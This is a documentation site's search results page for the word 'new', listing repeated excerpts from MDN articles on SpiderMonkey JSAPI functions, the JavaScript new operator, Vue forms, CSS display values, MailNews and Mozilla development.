Search completed in 1.12 seconds.
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
one of the web's oldest
news sites, wired
news draws between 20 and 25 million page views every month. on october 11, 2002, wired launched a brand-
new site design that uses validating xhtml for its structure and a small collection of css files for its layout. the
new design clearly shows what some experts have been saying: that standards-based design can be visually compelling and preserve the interface conventions we've come to expect from web pages. the brains and primary driving force behind this compelling
new design is douglas bowman, network design manager for terra lycos, who graciously agreed to an interview and in the process shed a lot of light on what goes into a standards-based redesign. ...
...saying: that standards-based design can be visually compelling and preserve the interface conventions we've come to expect from web pages. the brains and primary driving force behind this compelling
new design is douglas bowman, network design manager for terra lycos, who graciously agreed to an interview and in the process shed a lot of light on what goes into a standards-based redesign. wired
news redesign in a nutshell driven by xhtml 1.0 transitional and css; allows centralized control over layout and appearance for thousands of pages; simple markup allows for rapid changes to templates; average page weight dropped by almost half; page layout accomplished with simple css positioning; vastly increased accessibility without special coding or user agent detection. why did you pur...
...tml 1.0 transitional and css; allows centralized control over layout and appearance for thousands of pages; simple markup allows for rapid changes to templates; average page weight dropped by almost half; page layout accomplished with simple css positioning; vastly increased accessibility without special coding or user agent detection. ...
...And 15 more matches
JS_NewObject
requires request. ...
...requires request. ...
...requires request. ...
...And 15 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
age the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn about handling forms in vue, and by association, events, models, and methods. creating a
new to-do form we now have an app that displays a list of to-do items. however, we can't update our list of items without manually changing our code! let's fix that. let's create a
new component that will allow us to add a
new to-do item. in your components folder, create a
new file called todoform.vue. add a blank <template> and a <script> tag like before: <template></template> <scr...
...ate our list of items without manually changing our code! ...
...der, create a
new file called todoform.vue. add a blank <template> and a <script> tag like before: <template></template> <script> export default {}; </script> let's add in an html form that lets you enter a
new todo item and submit it into the app. we need a <form> with a <label>, an <input>, and a <button>. ...
...And 13 more matches
new operator - JavaScript
the
new operator lets developers create an instance of a user-defined object type or of one of the built-in object types that has a constructor function. syntax
new constructor[([arguments])] parameters constructor a class or function that specifies the type of the object instance. arguments a list of values that the constructor will be called with. description the
new keyword does the following things: creates a blank, plain javascript object; links (sets the constructor of) this object to another object; passes the
newly created object from step 1 as the this context; returns this if the function doesn't return an object. creating a user-defined object requires two steps: define the object type by writing a function. create an instance of the object with
new. ...
... this if the function doesn't return an object. creating a user-defined object requires two steps: define the object type by writing a function. create an instance of the object with
new. to define an object type, create a function for the object type that specifies its name and properties. an object can have a property that is itself another object. see the examples below. when the code
new foo(...) is executed, the following things happen: a
new object is created, inheriting from foo.prototype. the constructor function foo is called with the specified arguments, and with this bound to the
newly created object.
new foo is equivalent to
new foo(), i.e. if no argument list is specified, foo is called without arguments. the object (not null, false, 3.1415 or other primitive types)...
...if the constructor function doesn't explicitly return an object, the object created in step 1 is used instead. ...
...And 12 more matches
JS_NewRegExpObject
requires request. ...
...requires request. ...
...requires request. ...
...And 11 more matches
JS_NewFunction
create a
new javascript function that is implemented in c/c++ as a jsnative. ...
... create a
new javascript function that is implemented in c/c++ as a jsnative. ...
... create a
new javascript function that is implemented in c/c++ as a jsnative. ...
...And 10 more matches
MailNews fakeserver
it utilizes utf-8 as its transport mechanism and is capable of performing proper pipelining of commands. ...
...it utilizes utf-8 as its transport mechanism and is capable of performing proper pipelining of commands. ...
...it utilizes utf-8 as its transport mechanism and is capable of performing proper pipelining of commands. ...
...And 9 more matches
JS_NewGlobalObject
this article covers features introduced in spidermonkey 17 create a
new javascript object for use as a global object. syntax jsobject * js_
newglobalobject(jscontext *cx, const jsclass *clasp, jsprincipals *principals, js::on
newglobalhookoption hookoption, const js::compartmentoptions &options = js::compartmentoptions()); name type description cx jscontext * the context in which to create the
new global object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp jsclass * the class to use for the
new global object. clasp->flags must have the jsclass_global_flags bits set. the caller must ensure that the jsclass remains alive t...
... jscontext * the context in which to create the
new global object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp jsclass * the class to use for the
new global object. clasp->flags must have the jsclass_global_flags bits set. the caller must ensure that the jsclass remains alive throughout the lifetime of the
new object, including the garbage collection cycle that finally frees it. the usual way to do this is to make jsclasses global or static. principals jsprincipals * the security information to associate with this compartment. ...
...t have the jsclass_global_flags bits set. the caller must ensure that the jsclass remains alive throughout the lifetime of the
new object, including the garbage collection cycle that finally frees it. the usual way to do this is to make jsclasses global or static. principals jsprincipals * the security information to associate with this compartment. hookoption js::on
newglobalhookoption see debugger api hook added in spidermonkey 31 options const js::compartmentoptions & the option for
new compartment (passed to jscompartment constructor). added in spidermonkey 31 description js_
newglobalobject creates a
new global object based on the specified class. the
new object has no parent. it initially has no prototype either, since it is ty...
...And 8 more matches
JS_NewArrayObject
this must not be negative. ...
...this must not be negative. ...
...this must not be negative. ...
...And 7 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
. the same is true when working with grid layout. using display: grid will give you a block-level box, which creates a grid formatting context for the direct children. using display: inline-grid will create an inline-level box, which creates a grid formatting context for the children. the two-value syntax as you can see from the above explanation, the display property has gained considerable
new powers. in addition to indicating whether something is block-level or inline-level in relationship to other boxes on the page, it now also indicates the formatting context inside the box it is applied to. in order to better describe this behavior, the display property has been refactored to allow for two values — an outer and inner value — to be set on it, as well as the single values we are ...
...eate an inline-level box with flex children, we will use display: inline flex. the example below, which will work in firefox 70 and upwards, demonstrates these values. there are mappings for all of the existing values of display; the most common ones are listed in the table below. to see a full list take a look at the table found in the display property specification. ...
...ation. single value
new value block block flow flow-root block flow-root inline inline flow inline-block inline flow-root flex block flex inline-flex inline flex grid block grid inline-grid inline grid display: block flow-root and display: inline flow-root in terms of how these
new values help to clarify css layout, we can take a look at a couple of values in the table that might seem less familiar. the two-value display: block flow-root maps to a fairly recent single value; display: flow-root. this value's only purpose is to create a
new block formatting context (bfc). a bfc ensures that everything inside your box stays inside it, and things from outside the box cannot int...
...And 7 more matches
JS_NewExternalString
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. chars const char16_t * or const jschar * pointer to the first element of an array of char16_ts. this array is used as the character buffer of the jsstring to be created. ...
...ewexternalstring(jscontext *cx, const char16_t *chars, size_t length, const jsstringfinalizer *fin); jsstring * js_
newexternalstringwithclosure(jscontext *cx, jschar *chars, size_t length, int type, void *closure); // obsolete since jsapi 13 name type description cx jscontext * the context in which to create the
new string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. chars const char16_t * or const jschar * pointer to the first element of an array of char16_ts. ...
...(ultimately, the string will be garbage collected, and the javascript engine will call the string finalizer callback, allowing the application to free the array.) the array does not need to be zero-terminated. ...
...And 6 more matches
JS_NewUCString
note: js_
newstring() was removed in spidermonkey 1.8.5. use js_
newstringcopyn and js_
newucstringcopyn instead. syntax jsstring * js_
newucstring(jscontext *cx, char16_t *chars, size_t length); jsstring * js_
newstring(jscontext *cx, char *buf, size_t length); // obsolete since jsapi 1.8.5 name type description cx jscontext * the context in which to create the
new string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. buf char * or char16_t * pointer to a character array, allocated with js_malloc, containing the characters for the js string to create. the javascript engine adopts the buffer. length size_t number of characters in the text string. ...
...the character array, buf, must be allocated on the heap using js_malloc. on success, the javascript engine adopts responsibility for memory management of this region. ...
...equest. in a js_threadsafe build, the caller must be in a request on this jscontext. buf char * or char16_t * pointer to a character array, allocated with js_malloc, containing the characters for the js string to create. the javascript engine adopts the buffer. length size_t number of characters in the text string. description js_
newstring creates and returns a
new string, using the memory starting at buf and ending at buf + length as the character storage. js_
newucstring is the unicode version of the function. the character array, buf, must be allocated on the heap using js_malloc. on success, the javascript engine adopts responsibility for memory management of this region. the application must not read, write, or free the buffer. this allows the javascrip...
...And 6 more matches
The new nsString class implementation (1999) - Archive of obsolete content
in fact, it's very unlikely this is really the page you want. if you happen to see dbaron lying around somewhere, please direct him here so he can fix this message. in the meantime, try the xpcom string guide—but note that that article bears a warning of its own! this document is intended to briefly describe the
new nsstring class architecture, and discuss the implications on memory management, optimizations, internationalization and usage patterns. disclaimer: i absolutely hate string classes. no one has ever devised one that more than 2 programmers can agree on. so, why then am i proposing this? well, nsstring has served us well so far, but it's in need of a facelift. and xpcom has really taken off, so nsstring needs to be brought into alignment. justification the nsstring clas...
...to be addressed and that are the subject of this document. ...
... static void ensurecapacity(n...
...And 5 more matches
Adding a new event
what type of event do you want? roughly, there are 3 types of event. first, you need to choose which type you need. a simple dom event which can be implemented with webidl and widgetevent or something. this type of event is useful if the event isn't handled by c++ code. a dom event which represents a native event like a user action such as keyboard or mouse input. this type of event allows c++ code to handle it easier. it's not a dom event. however, c++ code may need to dispatch an event to dom tree and handle it with c++ event handler. this is useful for widget notifying dom tree of something or retrieving something from dom tree. ...
...seevents.h this header file should be used for defining input events from pointing devices such as mouse. textevents.h this header file should be used for defining input events from keyboard or ime and also other text edit related events like querying focused content information. touchevents.h this header file should be used for defining input events from touch devices. ...
...for copying the members, this should use assignfooeventdata() with true for acopytargets. and also, mflags should be just copied since assignfooeventdata() doesn't copy mflags. this method is basically used for duplicating an internal event class instance of a dom event when the dom event is stored by content. ...
...And 5 more matches
Adding a new CSS property
the style system is the part of the code in gecko that is responsible for producing a computed value for every property for every element. see the gecko overview for more information about the style system. this document assumes that you have a specifcation for the property available. issues about how to write such a specification (including things such as whether it is appropriate to use prefixes or when properties should be inherited by default) are not covered here. if you need more details on any of the points mentioned here, a good place to find them is by looking at other changes in the version control history of the files mentioned. ...
...ot covered here. if you need more details on any of the points mentioned here, a good place to find them is by looking at other changes in the version control history of the files mentioned. getting started first, you'll want to add an appropriate test entry to property_database.js. see the documentation at the top of the file and the other entries for examples. this will cause tests of your
new property to be added to many of the mochitests in layout/style/test, which can be run with the command "./mach mochitest -f plain layout/style/". then, unless you're implementing a shorthand property, you need to decide which style struct the computed value of the property should go in. (again, see the gecko overview for more information.) it should generally be grouped with related properties...
...ase the unexpected token is a parenthesis or something else that requires matching the other half of a pair. ...
...And 5 more matches
JS_NewContext
otherwise it returns null. for more details about contexts, see jscontext. ...
...otherwise it returns null. for more details about contexts, see jscontext. ...
...otherwise it returns null. for more details about contexts, see jscontext. for sample code that creates and initializes a jscontext, see jsapi user guide. the stackchunksize parameter does not control the javascript stack size. ...
...And 5 more matches
JS_NewObjectForConstructor
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp const jsclass * the class of the object to create. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp const jsclass * the class of the object to create. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp const jsclass * the class of the object to create. ...
...And 5 more matches
JS_NewRuntime
initializes the javascript runtime. syntax jsruntime * js_
newruntime(uint32_t maxbytes, uint32_t maxnurserybytes = js::defaultnurserybytes, jsruntime *parentruntime = nullptr); jsruntime * js_
newruntime(uint32_t maxbytes, jsusehelperthreads usehelperthreads, jsruntime *parentruntime = nullptr); // deprecated since jsapi 32 name type description maxbytes uint32 maximum number of allocated bytes after which garbage collection is run. maxnurserybytes uint32 nursery size in bytes. maxnurserybytes is rounded down to a multiple of chunk size. added in spidermonkey 38 parentruntime jsruntime * the topmost parent or nullptr . ...
...name type description maxbytes uint32 maximum number of allocated bytes after which garbage collection is run. maxnurserybytes uint32 nursery size in bytes. maxnurserybytes is rounded down to a multiple of chunk size. added in spidermonkey 38 parentruntime jsruntime * the topmost parent or nullptr . added in spidermonkey 31 description js_
newruntime initializes the javascript runtime environment. call js_
newruntime before making any other api calls except js_init. js_
newruntime allocates memory for the jsruntime and initializes certain internal runtime structures. maxbytes specifies the number of allocated bytes after which garbage collection is run. if parentruntime is specified, the resulting runtime shares significant amounts of re...
...ge collection is run. if parentruntime is specified, the resulting runtime shares significant amounts of read-only state (the self-hosting and initial atoms compartments). it is recommended to make use of this for every runtime in a process after the first one. the returned jsruntime can be used from the calling thread only. ...
...And 5 more matches
MailNews Filters
e.g., imap, pop3. applyfilterstohdr will in turn call the applyfilterhit method of the passed in nsimsgfilterhitnotify interface ptr. the protocol specific code will then apply all of the actions of the filter to the current msg header. ...
...e.g., imap, pop3. applyfilterstohdr will in turn call the applyfilterhit method of the passed in nsimsgfilterhitnotify interface ptr. the protocol specific code will then apply all of the actions of the filter to the current msg header. ...
...e.g., imap, pop3. applyfilterstohdr will in turn call the applyfilterhit method of the passed in nsimsgfilterhitnotify interface ptr. the protocol specific code will then apply all of the actions of the filter to the current msg header. ...
...And 5 more matches
new.target - JavaScript
the
new.target pseudo-property lets you detect whether a function or constructor was called using the
new operator. in constructors and functions invoked using the
new operator,
new.target returns a reference to the constructor or function. in normal function calls,
new.target is undefined. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new.target description the
new.target syntax consists of the keyword
new, a dot, and the identifier target. normally, the left-hand side of the dot is the object on which property access is performed, but here,
new is not an object. ...
... if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new.target description the
new.target syntax consists of the keyword
new, a dot, and the identifier target. normally, the left-hand side of the dot is the object on which property access is performed, but here,
new is not an object. the
new.target pseudo-property is available in all functions. in class constructors, it refers to the constructed class. ...
...onsists of the keyword
new, a dot, and the identifier target. normally, the left-hand side of the dot is the object on which property access is performed, but here,
new is not an object. the
new.target pseudo-property is available in all functions. in class constructors, it refers to the constructed class. in ordinary functions, it refers to the function itself, assuming it was invoked via the
new operator; otherwise
new.target is undefined. in arrow functions,
new.target is inherited from the surrounding scope. examples
new.target in function calls in normal function calls (as opposed to constructor function calls),
new.target is undefined. this lets you detect whether a function was called with
new as a constructor. ...
...And 5 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
let’s look at how it works. emscripten environment setup first, let's set up the required development environment. prerequisites get the emscripten sdk, using these instructions: https://emscripten.org/docs/getting_started/downloads.html compiling an example with the environment set up, let's look at how to use it to compile a c example to emscripten. there are a number of options available when compiling with emscripten, but the main two scenarios we'll cover are: compiling to wasm and creating html to run our code in, plus all the javascript "glue" code needed to run the wasm in the web environment. ...
...nment. compiling to wasm and just creating the javascript. we will look at both below. creating html and javascript this is the simplest case we'll look at, whereby you get emscripten to generate everything you need to run your code, as webassembly, in the browser. first we need an example to compile. ...
...e "hello world" output in the emscripten console appearing on the web page, and your browser’s javascript console. congratulations, you’ve just compiled c to webassembly and run it in your browser! using a custom html template sometimes you will want to use a custom html template. let's look at how we can do this. ...
...And 5 more matches
Developing New Mozilla Features - Archive of obsolete content
our cross-platform component model (“xpcom”) is similar to com, but you’ll want to make sure you use it well before going too far with your project. and of course, we have a set of coding practices to help everyone live together. ...
...our cross-platform component model (“xpcom”) is similar to com, but you’ll want to make sure you use it well before going too far with your project. and of course, we have a set of coding practices to help everyone live together. ...
...lar to com, but you’ll want to make sure you use it well before going too far with your project. and of course, we have a set of coding practices to help everyone live together. life will be much easier if your team has one or more members who are already familiar with and to the mozilla world. develop relationships with existing developers in the area of your feature if you want to add a big
new feature to mail, spend some time helping the existing mail developers. talk to the developers about fixing some of their bugs. fix some bugs. have some of your qa team get involved. once you’re familiar with an area, do the completely unexpected and write a piece of documentation. developers will be grateful, and you’ll be known as someone seriously interested in contributing. become familiar...
...And 4 more matches
newlines - Archive of obsolete content
« xul reference home
newlines type: one of the values below how the text box handles pastes with
newlines in them. ...
... « xul reference home
newlines type: one of the values below how the text box handles pastes with
newlines in them. ...
... « xul reference home
newlines type: one of the values below how the text box handles pastes with
newlines in them. ...
...And 4 more matches
PR_NewTCPSocket
a tcp connection is established by a passive socket (the server) accepting a connection setup request from an active socket (the client). ...
...a tcp connection is established by a passive socket (the server) accepting a connection setup request from an active socket (the client). ...
...a tcp connection is established by a passive socket (the server) accepting a connection setup request from an active socket (the client). ...
...And 4 more matches
JSNewEnumerateOp
the type of objectops::enumerate. this callback overrides a portion of spidermonkey's default [[enumerate]] internal method. syntax typedef bool (* js
newenumerateop)(jscontext *cx, js::handleobject obj, js::autoidvector &properties); // added in spidermonkeysidebar 38 typedef bool (* js
newenumerateop)(jscontext *cx, js::handleobject obj, jsiterateop enum_op, js::mutablehandlevalue statep, js::mutablehandleid idp); // obsolete since jsapi 37 name type description cx jscontext * the context in which the enumeration is taking place. obj js::handleobject the object to be enumerated. properties js::autoidvector & out parameter. id array to populate with all property keys. enum...
...ecifies which step in iteration is happening. see the description below. statep js::mutablehandleid obsolete since jsapi 37 in/out parameter. the meaning depends on enum_op. see the description below. idp js::mutablehandleid obsolete since jsapi 37 in/out parameter. the meaning depends on enum_op. see the description below. description from spidermonkey 38, js
newenumerateop is the type of objectops::enumerate. this callback overrides a portion of spidermonkey's default [[enumerate]] internal method. when an ordinary object is enumerated, that object and each object on its prototype chain is tested for an enumerate op, and those ops are called in order. the properties each op adds to the properties vector are added to the set of values the for-in loop will...
...erties vector are added to the set of values the for-in loop will iterate over. all of this is nonstandard. an object is "enumerated" when it's the target of a for-in loop or js_enumerate. all other property inspection, including object.keys(obj), goes through [[ownkeys]]. the callback's job is to populate properties with all property keys that the for-in loop should visit. ...
...And 4 more matches
JS_New
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ctor js::handleobject the constructor function object. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ctor js::handleobject the constructor function object. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ctor js::handleobject the constructor function object. ...
...And 4 more matches
JS_NewStringCopyN
create a
new js string. syntax jsstring * js_
newstringcopyn(jscontext *cx, const char *s, size_t n); jsstring * js_
newucstringcopyn(jscontext *cx, const char16_t *s, size_t n); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s const char* or const char16_t * pointer to the array of characters containing the text for the js string to create. n size_t number of characters to copy from s into the
new string. ...
... pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s const char* or const char16_t * pointer to the array of characters containing the text for the js string to create. n size_t number of characters to copy from s into the
new string. description js_
newstringcopyn allocates space for a javascript string and its underlying storage, and copies n characters from a c character array, s, into the
new jsstring. js_
newucstringcopyn is the unicode version of the function. the two functions differ only in the type of the character array s; both functions create ordinary javascript strings, and all javascript strings are made up of 16-bit characters. if t...
...ing and its underlying storage, and copies n characters from a c character array, s, into the
new jsstring. js_
newucstringcopyn is the unicode version of the function. the two functions differ only in the type of the character array s; both functions create ordinary javascript strings, and all javascript strings are made up of 16-bit characters. if the array s contains more than n characters, the
new string contains a truncated version of the original string. the string may contain null characters ('\0'). they are copied into the
new string like any other character. you can use js_
newstringcopyn to copy binary data or to copy only a certain portion of a c string into a javascript string. on success, js_
newstringcopyn and js_
newucstringcopyn return a pointer to the
new js string. otherwise the...
...And 4 more matches
JS_NewStringCopyZ
create a
new javascript string based on a null-terminated c string. syntax jsstring * js_
newstringcopyz(jscontext *cx, const char *s); jsstring * js_
newucstringcopyz(jscontext *cx, const char16_t *s); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s const char * or const char16_t * pointer to the character array containing the text for the js string to create; or null. description js_
newstringcopyz allocates space for a
new javascript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the
new string. ...
...caller must be in a request on this jscontext. s const char * or const char16_t * pointer to the character array containing the text for the js string to create; or null. description js_
newstringcopyz allocates space for a
new javascript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the
new string. on success, js_
newstringcopyz returns a pointer to the
new javascript string. on error, it returns null. if s is null, an empty javascript string is returned. ...
... for the js string to create; or null. description js_
newstringcopyz allocates space for a
new javascript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the
new string. on success, js_
newstringcopyz returns a pointer to the
new javascript string. on error, it returns null. if s is null, an empty javascript string is returned. js_
newstringcopy(cx, s) is equivalent to js_
newstringcopyn(cx, s, strlen(s)) when s is a null-terminated string. ...
...And 4 more matches
New Skin Notes - Archive of obsolete content
if you go to your user preferences, you can change the skin to "devmo". this is currently just a preview, but we would appreciate help with testing. please add any feedback to this page. thanks! feedback fix weird width bug on preferences page. --dria css classes for feature and subfeature boxes, including required graphics. -- dria when will these fixes be on the live site? --nickolay 10:38, 31 aug 2005 (pdt) existing fixes should be on test/docs/ now. --dria stuff that's been fixed note that while i've made these fixes, they haven't necessarily been checked in yet. ...
...m, (see document for an example of such.) this is only an issue in mw1.5 so far. devmo skin vs cavendish skin --callek i can probably pull-off this patch if needed (quickly), so dria or others do not have to hunt up "how". --callek add "what not to do" css class to stylesheet, as discussed on talk:core javascript 1.5 reference. what's the class called? --maian 21:08, 1 sep 2005 (pdt) in the
new mw1.5 skin (not the one currently available here) there's class "wrong" and class "wrong-inline". those will be available after we do the wiki upgrades in the near future. --dria headers need a little padding. h1 could be smaller. --dria is it just me or visited links are not marked as such? --nickolay 07:16, 29 aug 2005 (pdt) imho the visited color looks horrible. we're a documentation si...
...ifference on the cavendish theme is negligible (to the point where i never noticed). direct external links have icons to differentiate them from internal links, so i think we'll just leave the internal/external links colours the same. ==dria you've got to be kidding me, the colors are clearly different (rgb(0,51,153) vs rgb(51,102,187)). --nickolay 09:19, 25 aug 2005 (pdt) (moving this to a
new item) on the contrary, the list of categories current page belongs to, should be near the footer (see mdc:policies_and_guidelines page) (dria: fix catlinks style) the arrows that appear if you select "enhanced recent changes" in your preferences have an ugly border around them. --nickolay 04:43, 25 aug 2005 (pdt) the radio buttons on history page are jumping in a weird way because the selecte...
...And 3 more matches
New in JavaScript 1.2 - Archive of obsolete content
browser with javascript support. javascript versions netscape navigator 4.0 executes javascript language versions up to 1.2. note that netscape navigator 3.0 and earlier ignored scripts with the language attribute set to "javascript1.2" and higher. <script language="javascript1.1"> <!-- javascript for navigator 3.0. --> <script language="javascript1.2"> <!-- javascript for navigator 4.0. ...
.... javascript versions netscape navigator 4.0 executes javascript language versions up to 1.2. note that netscape navigator 3.0 and earlier ignored scripts with the language attribute set to "javascript1.2" and higher. <script language="javascript1.1"> <!-- javascript for navigator 3.0. --> <script language="javascript1.2"> <!-- javascript for navigator 4.0. ...
...guage="javascript1.1"> <!-- javascript for navigator 3.0. --> <script language="javascript1.2"> <!-- javascript for navigator 4.0. -->
new features in javascript 1.2
new objects you can create objects using literal notation (inspired by dictionary literal syntax from python 1.x). arrays can now be created using literal notation (inspired by list literal syntax from python 1.x). ...
...And 3 more matches
New in JavaScript 1.3 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 4.0 to 4.5. the old netscape documentation can be found on archive.org. netscape navigator 4.5 was released on october 19, 1998. the most significant change in javascript 1.3 was compliance with ecma-262 and unicode by removing inconsistencies between javascript 1.2 and the
new ecma standard (which was published in june 1997). additional features of version 1.2, at the time not specified by ecma-262 were kept in the javascript language (see below for a list of differences). javascript versions netscape communicator and navigator 4.06 and 4.5 executes javascript language versions up to 1.3. note that communicator and navigator 4.0-4.05 and earlier ignored scripts with the language attribute set to "javascript1.3" and highe...
...script versions netscape communicator and navigator 4.06 and 4.5 executes javascript language versions up to 1.3. note that communicator and navigator 4.0-4.05 and earlier ignored scripts with the language attribute set to "javascript1.3" and higher. <script language="javascript1.2"> <!-- javascript for navigator 4.0. --> <script language="javascript1.3"> <!-- javascript for navigator 4.5. ...
...icator and navigator 4.06 and 4.5 executes javascript language versions up to 1.3. note that communicator and navigator 4.0-4.05 and earlier ignored scripts with the language attribute set to "javascript1.3" and higher. <script language="javascript1.2"> <!-- javascript for navigator 4.0. --> <script language="javascript1.3"> <!-- javascript for navigator 4.5. ...
...And 3 more matches
MailNews automated testing
these tests are run against almost every changeset that gets committed to the thunderbird and seamonkey code bases. xpcshell-tests are run in javascript without any chrome present. ...
...these tests are run against almost every changeset that gets committed to the thunderbird and seamonkey code bases. xpcshell-tests are run in javascript without any chrome present. ...
... of mail
news development. it allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases. this page and its sub-pages describe (and link to) the available test mechanisms within mail
news, and provide supporting information for developers and testers. functional testing xpcshell-tests and make check these are core test harnesses to which mail
news adds its own tests. these tests are run against almost every changeset that gets committed to the thunderbird and seamonkey code bases. xpcshell-tests are run in javascript without any chrome present. this makes them especially useful for testing at the component / module level. xpcshell-tests are the quickest tests to run. ...
...And 3 more matches
JS_NewCompartmentAndGlobalObject
obsolete since jsapi 16this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8.1 js_
newcompartmentandglobalobject has been removed in bug 755186. use js_
newglobalobject instead. create a
new global object in a
new compartment. syntax jsobject * js_
newcompartmentandglobalobject(jscontext *cx, jsclass *clasp, jsprincipals *principals); name type description cx jscontext * the context in which to create the
new global object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp jsclass * ...
...the usual way to do this is to make jsclasses global or static. ...
...x jscontext * the context in which to create the
new global object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp jsclass * the class to use for the
new global object. clasp->flags must have the jsclass_global_flags bits set. the caller must ensure that the jsclass remains alive throughout the lifetime of the
new object, including the garbage collection cycle that finally frees it. the usual way to do this is to make jsclasses global or static. principals jsprincipals * the security information to associate with this compartment. description js_
newcompartmentandglobalobject creates a
new compartment, and then creates a
new global object as the first object in that compartment. ...
...And 3 more matches
NPP_NewStream - Archive of obsolete content
seekable boolean indicating whether the stream is seekable: true: seekable. ...
... seekable boolean indicating whether the stream is seekable: true: seekable. ...
... seekable boolean indicating whether the stream is seekable: true: seekable. stream supports random access through calls to npn_requestread (for example, local files or http servers that support byte-range requests). false: not seekable. ...
...And 2 more matches
Creating a New Protocol
you should know how ipdl works first! create the protocol file the protocol file should live in the same directory as the code which will implement it. protocol names start with p, and protocol files must be named pprotocolname.ipdl. ipdl protocols should be in the mozilla namespace or a sub-namespace. to hook up the file to the build, you need to add your ipdl file to ipdl_sources in the nearest moz.build file. see dom/ipc/moz.build for an example. the protocol hierarchy unless you are working on some special project, your protocol will fit into the protocol hierarchy for multi-process plugins or tabs. ...
... your ipdl file to ipdl_sources in the nearest moz.build file. see dom/ipc/moz.build for an example. the protocol hierarchy unless you are working on some special project, your protocol will fit into the protocol hierarchy for multi-process plugins or tabs. the toplevel protocol for plugins is ppluginmodule. the toplevel protocol for tabs is pcontent. you should know what protocol will manage the
new protocol and what lifetime issues that creates. if there is any doubt, ask on irc in the #content channel. building the
new protocol to build the
new protocol declaration and generate headers, make in ipc/ipdl: make -c objdir/ipc/ipdl if there are any protocol-level errors, the ipdl compiler will print the relevant error messages and stop. to view the generated headers, look in objdir/ipc/ipdl/_...
...writing the tests protocols which are managed by pbrowser must be tested using the mochitest-chrome test framework with a <browser remote="true">. ...
...And 2 more matches
Bootstrapping a new locale
in mozilla, we use the the mercurial version control system (hg) to help manage our localizations. when a localization team is registered and your hg repository is set up for a locale, you can then clone the existing mozilla release branch (i.e. where active development of the upcoming release of firefox occurs) and then begin the necessary work for translation. ...
...we'll first navigate to the directory called "browser" by running the following commands one after the other from your command line: $ cd [ab-cd]/browser/chrome/browser to see what is contained in "browser" type $ ls and, you should see the following output from your terminal: aboutcerterro...
... hg repository in bit bucket. you will need to create an account so you can access the service. once you have that account, send the l10n-drivers the details to be added as a "writer". with that level of authority, you will be able to push and pull and manage the repository remotely. it will be just like working on hg with mozilla, yet you will use the bit bucket platform to start. ...
...And 2 more matches
JSObjectOps.newObjectMap
e is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. ...
...n some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.
newobjectmap callback is called whenever a
new object is created. it creates a jsobjectmap that completely controls the
new object's behavior. syntax typedef jsobjectmap * (*js
newobjectmapop)(jscontext *cx, jsrefcount nrefs, jsobjectops *ops, jsclass *clasp, jsobject *obj); name type description cx jscontext * pointer to the js context in which the
new object is being created. nrefs jsrefcoun...
...map that completely controls the
new object's behavior. syntax typedef jsobjectmap * (*js
newobjectmapop)(jscontext *cx, jsrefcount nrefs, jsobjectops *ops, jsclass *clasp, jsobject *obj); name type description cx jscontext * pointer to the js context in which the
new object is being created. nrefs jsrefcount the initial reference count for the
new jsobjectmap. ops jsobjectops * the ops for the
new jsobjectmap. clasp jsclass * the jsclass of the
new object. obj jsobject * the
new object. description note: the jsapi does not expose the data structure that would be necessary to develop
new jsobjectmap subclasses. an application that implements jsobjectops must therefore either implement th...
...And 2 more matches
JS_NewScriptObject
obsolete since jsapi 8this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. return the javascript script object that wraps a compiled script. the compiled script and its parts live until the script object is garbage collected. ...
...uraged since it could be removed at any time. try to avoid using it. return the javascript script object that wraps a compiled script. the compiled script and its parts live until the script object is garbage collected. syntax jsobject * js_
newscriptobject(jscontext *cx, jsscript *script); name type description cx jscontext * the context in which to create the
new script object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. script jsscript * the compiled script for which to create a
new script object. description js_
newscriptobject returns the script object associated with the given jsscript. every jsscript object has an associated jsobject script object. as long as the script object ...
...cript and its contents are freed. once you have created a script, you should immediately ensure that its script object is reachable (perhaps by using js_addroot or js_enterlocalrootscope). a script object has no properties, and its prototype is object.prototype. so a script object can be used to expose a jsscript to javascript code, but the code can't do much of anything with it. ...
...And 2 more matches
NPN NewStream - Archive of obsolete content
summary requests the creation of a
